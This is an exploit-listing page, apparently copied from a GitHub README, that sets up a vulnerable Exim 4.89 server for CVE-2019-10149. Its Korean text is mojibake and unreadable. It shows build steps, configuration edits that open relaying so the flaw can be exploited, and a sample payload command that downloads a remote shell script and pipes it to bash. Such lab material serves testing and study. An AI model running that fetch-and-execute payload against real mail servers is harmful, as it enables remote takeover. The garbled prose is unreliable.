## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HYIM0810-CVE-2019-10149
# CVE-2019-10149 - Exim 4.87 < 4.91
μ·¨μ½ν λ²μ μ Exim μ€μΉ λ° μ΅μ€νλ‘μ λ°©λ² Linux Ubuntu 16.04, Exim 4.89μμ ν
μ€νΈλ¨
## Exim μ€μΉ
Exim 4.89 λ€μ΄λ‘λ λ° μμΆ ν΄μ
* wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz
μμΆ ν΄μ λ ν΄λλ‘ μ΄λ
* cd exim-4.89/
νμν μ€μ νμΌ λ³΅μ¬ λ° μμ
* sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile
* cp exim_monitor/EDITME Local/eximon.conf
exim μ¬μ©μ λ° κ·Έλ£Ή μμ±
* sudo groupadd -g 31 exim
* sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim
μμ‘΄μ± μ€μΉ
* sudo apt-get update
* sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Exim 4.89 μ€μΉ
* sudo make install
/usr/exim/configure νΈμ§: 7μΌμ κΈ°λ€λ¦¬μ§ μκ³ μ΅μ€νλ‘μν μ μλλ‘ λ¦΄λ μ΄ νμ©
* sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
* sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
* sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure
exim μ¬μ©μλ‘ exim μ€ν
* sudo -H -u exim /usr/exim/bin/exim -bd -d-receive
## μ΅μ€νλ‘μ μ μ
μ λͺ
λ Ήμ΄λ₯Ό 16μ§μλ‘ λ³ν. μ:
* /bin/sh -c βwget https://raw.githubusercontent.com/hyim0810/CVE-2019-10149/main/RemoteConnection.sh" -O - | bash